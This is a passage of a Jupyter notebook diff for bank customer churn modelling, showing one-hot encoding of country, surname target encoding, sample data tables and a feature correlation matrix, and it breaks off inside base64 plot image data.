"data": { + "text/plain": [ + "['country_France', 'country_Germany', 'country_Spain']" + ] + }, + "metadata": {}, + "execution_count": 16 + } + ], + "source": [ + "cols = ['country_' + str(x) for x in le_ohe_geography_mapping.keys()]\n", + "cols" + ] + }, + { + "cell_type": "code", + "execution_count": 17, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 706 + }, + "id": "IIi9D0wZpEw1", + "outputId": "2b1fbcdf-d8ce-4e82-f738-2e76a47c4557" + }, + "outputs": [ + { + "output_type": "stream", + "name": "stdout", + "text": [ + "Training set\n" + ] + }, + { + "output_type": "execute_result", + "data": { + "text/plain": [ + " Surname CreditScore Geography Gender Age Tenure Balance \\\n", + "0 Yermakova 678 Germany 1 36 1 117864.85 \n", + "1 Warlow-Davies 613 France 0 27 5 125167.74 \n", + "2 Fu 628 France 1 45 9 0.00 \n", + "3 Shih 513 France 1 30 5 0.00 \n", + "4 Mahmood 639 France 1 22 4 0.00 \n", + "\n", + " NumOfProducts HasCrCard IsActiveMember EstimatedSalary Exited \\\n", + "0 2 1 0 27619.06 0 \n", + "1 1 1 0 199104.52 0 \n", + "2 2 1 1 96862.56 0 \n", + "3 2 1 0 162523.66 0 \n", + "4 2 1 0 28188.96 0 \n", + "\n", + " country_France country_Germany country_Spain \n", + "0 0.0 1.0 0.0 \n", + "1 1.0 0.0 0.0 \n", + "2 1.0 0.0 0.0 \n", + "3 1.0 0.0 0.0 \n", + "4 1.0 0.0 0.0 " + ], + "text/html": [ + "\n", + "
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4Mahmood639France12240.0021028188.9601.00.00.0
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0Anderson596Germany132396709.0720041788.3700.01.00.0
1Herring623France14310.00211146379.3001.00.00.0
2Amechi601Spain04440.0021058561.3100.00.01.0
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4Chuang560Spain0277124995.98111114669.7900.00.01.0
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\n", + " " + ] + }, + "metadata": {}, + "execution_count": 17 + } + ], + "source": [ + "## Adding to the respective dataframes\n", + "dc_train = pd.concat([dc_train.reset_index(), pd.DataFrame(ohe_train, columns = cols)], axis = 1).drop(['index'], axis=1)\n", + "dc_val = pd.concat([dc_val.reset_index(), pd.DataFrame(ohe_val, columns = cols)], axis = 1).drop(['index'], axis=1)\n", + "dc_test = pd.concat([dc_test.reset_index(), pd.DataFrame(ohe_test, columns = cols)], axis = 1).drop(['index'], axis=1)\n", + "print(\"Training set\")\n", + "dc_train.head()\n", + "print(\"\\n\\nValidation set\")\n", + "dc_val.head()\n", + "print(\"\\n\\nTest set\")\n", + "dc_test.head()" + ] + }, + { + "cell_type": "code", + "execution_count": 18, + "metadata": { + "id": "PZLVELyipEw1" + }, + "outputs": [], + "source": [ + "## Drop the Geography column\n", + "dc_train.drop(['Geography'], axis = 1, inplace=True)\n", + "dc_val.drop(['Geography'], axis = 1, inplace=True)\n", + "dc_test.drop(['Geography'], axis = 1, inplace=True)" + ] + }, + { + "cell_type": "code", + "execution_count": 19, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 206 + }, + "id": "8xyjCj3HpEw2", + "outputId": "cc1afcb9-2955-435d-e139-e11b3d45665d", + "scrolled": true + }, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": [ + " Surname CreditScore Gender Age Tenure Balance NumOfProducts \\\n", + "0 Yermakova 678 1 36 1 117864.85 2 \n", + "1 Warlow-Davies 613 0 27 5 125167.74 1 \n", + "2 Fu 628 1 45 9 0.00 2 \n", + "3 Shih 513 1 30 5 0.00 2 \n", + "4 Mahmood 639 1 22 4 0.00 2 \n", + "\n", + " HasCrCard IsActiveMember EstimatedSalary Exited country_France \\\n", + "0 1 0 27619.06 0 0.0 \n", + "1 1 0 199104.52 0 1.0 \n", + "2 1 1 96862.56 0 1.0 \n", + "3 1 0 162523.66 0 1.0 \n", + "4 1 0 28188.96 0 1.0 \n", + "\n", + " country_Germany country_Spain \n", + "0 1.0 0.0 \n", + "1 0.0 0.0 \n", + "2 0.0 0.0 \n", + "3 0.0 0.0 \n", + "4 0.0 0.0 " + ], + "text/html": [ + "\n", + "
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SurnameCreditScoreGenderAgeTenureBalanceNumOfProductsHasCrCardIsActiveMemberEstimatedSalaryExitedcountry_Francecountry_Germanycountry_Spain
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4Mahmood63912240.0021028188.9601.00.00.0
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SurnameCreditScoreGenderAgeTenureBalanceNumOfProductsHasCrCardIsActiveMemberEstimatedSalaryExitedcountry_Francecountry_Germanycountry_SpainSurname_mean_churnSurname_freqSurname_enc
0Yermakova6781361117864.8521027619.0600.01.00.00.00000040.000000
1Warlow-Davies6130275125167.74110199104.5201.00.00.00.00000020.000000
2Fu62814590.0021196862.5601.00.00.00.200000100.222222
3Shih51313050.00210162523.6601.00.00.00.285714210.300000
4Mahmood63912240.0021028188.9601.00.00.00.33333330.500000
5Miller5621303111099.79200140650.1901.00.00.00.285714140.307692
6Padovesi635143578992.75200153265.3100.01.00.00.200000100.222222
7Edments705133768423.8911164872.5500.00.01.00.00000010.203056
8Chan6941428133767.1911036405.2101.00.00.00.00000030.000000
9Matthews7111269128793.6311019262.0500.01.00.00.00000040.000000
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SurnameCreditScoreGenderAgeTenureBalanceNumOfProductsHasCrCardIsActiveMemberEstimatedSalaryExitedcountry_Francecountry_Germanycountry_SpainSurname_mean_churnSurname_freqSurname_enc
0Yermakova6781361117864.8521027619.0600.01.00.00.00000040.000000
1Warlow-Davies6130275125167.74110199104.5201.00.00.00.00000020.000000
2Fu62814590.0021196862.5601.00.00.00.200000100.222222
3Shih51313050.00210162523.6601.00.00.00.285714210.300000
4Mahmood63912240.0021028188.9601.00.00.00.33333330.500000
5Miller5621303111099.79200140650.1901.00.00.00.285714140.307692
6Padovesi635143578992.75200153265.3100.01.00.00.200000100.222222
7Edments705133768423.8911164872.5500.00.01.00.00000010.203056
8Chan6941428133767.1911036405.2101.00.00.00.00000030.000000
9Matthews7111269128793.6311019262.0500.01.00.00.00000040.000000
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CreditScoreGenderAgeTenureBalanceNumOfProductsHasCrCardIsActiveMemberEstimatedSalaryExitedcountry_Francecountry_Germanycountry_SpainSurname_enc
CreditScore1.0000000.0003540.0020990.005994-0.0015070.014110-0.0118680.0350570.000358-0.028117-0.0094810.0033930.007561-0.000739
Gender0.0003541.000000-0.0244460.0107490.009380-0.0267950.0075500.028094-0.011007-0.1023310.000823-0.0184120.0173610.008002
Age0.002099-0.0244461.000000-0.0113840.027721-0.033305-0.0196330.093573-0.0068270.288221-0.0388810.048764-0.003648-0.010844
Tenure0.0059940.010749-0.0113841.000000-0.0130810.0182310.026148-0.0212630.010145-0.0106600.000021-0.0031310.003090-0.006753
Balance-0.0015070.0093800.027721-0.0130811.000000-0.304318-0.021464-0.0080850.0272470.113377-0.2317700.405616-0.1360440.006925
NumOfProducts0.014110-0.026795-0.0333050.018231-0.3043181.0000000.0072020.0148090.009769-0.0392000.002991-0.0159260.012388-0.002020
HasCrCard-0.0118680.007550-0.0196330.026148-0.0214640.0072021.000000-0.006526-0.008413-0.0136590.0058810.008197-0.014934-0.000551
IsActiveMember0.0350570.0280940.093573-0.021263-0.0080850.014809-0.0065261.000000-0.016446-0.1524770.002126-0.0205700.0180030.004902
EstimatedSalary0.000358-0.011007-0.0068270.0101450.0272470.009769-0.008413-0.0164461.0000000.015881-0.0045120.010583-0.005320-0.009899
Exited-0.028117-0.1023310.288221-0.0106600.113377-0.039200-0.013659-0.1524770.0158811.000000-0.1060060.173492-0.050264-0.026440
country_France-0.0094810.000823-0.0388810.000021-0.2317700.0029910.0058810.002126-0.004512-0.1060061.000000-0.575048-0.581494-0.007467
country_Germany0.003393-0.0184120.048764-0.0031310.405616-0.0159260.008197-0.0205700.0105830.173492-0.5750481.000000-0.331194-0.006132
country_Spain0.0075610.017361-0.0036480.003090-0.1360440.012388-0.0149340.018003-0.005320-0.050264-0.581494-0.3311941.0000000.014710
Surname_enc-0.0007390.008002-0.010844-0.0067530.006925-0.002020-0.0005510.004902-0.009899-0.026440-0.007467-0.0061320.0147101.000000
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\n", + "
\n", + " " + ] + }, + "metadata": {}, + "execution_count": 29 + } + ], + "source": [ + "## Check linear correlation (rho) between individual features and the target variable\n", + "corr = dc_train.corr()\n", + "corr" + ] + }, + { + "cell_type": "code", + "execution_count": 30, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 365 + }, + "id": "duu9bAufpEw6", + "outputId": "53cc6c12-c852-4409-ffe5-5c4e2ebc49c5" + }, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "" + ] + }, + "metadata": {}, + "execution_count": 30 + }, + { + "output_type": "display_data", + "data": { + "text/plain": [ + "
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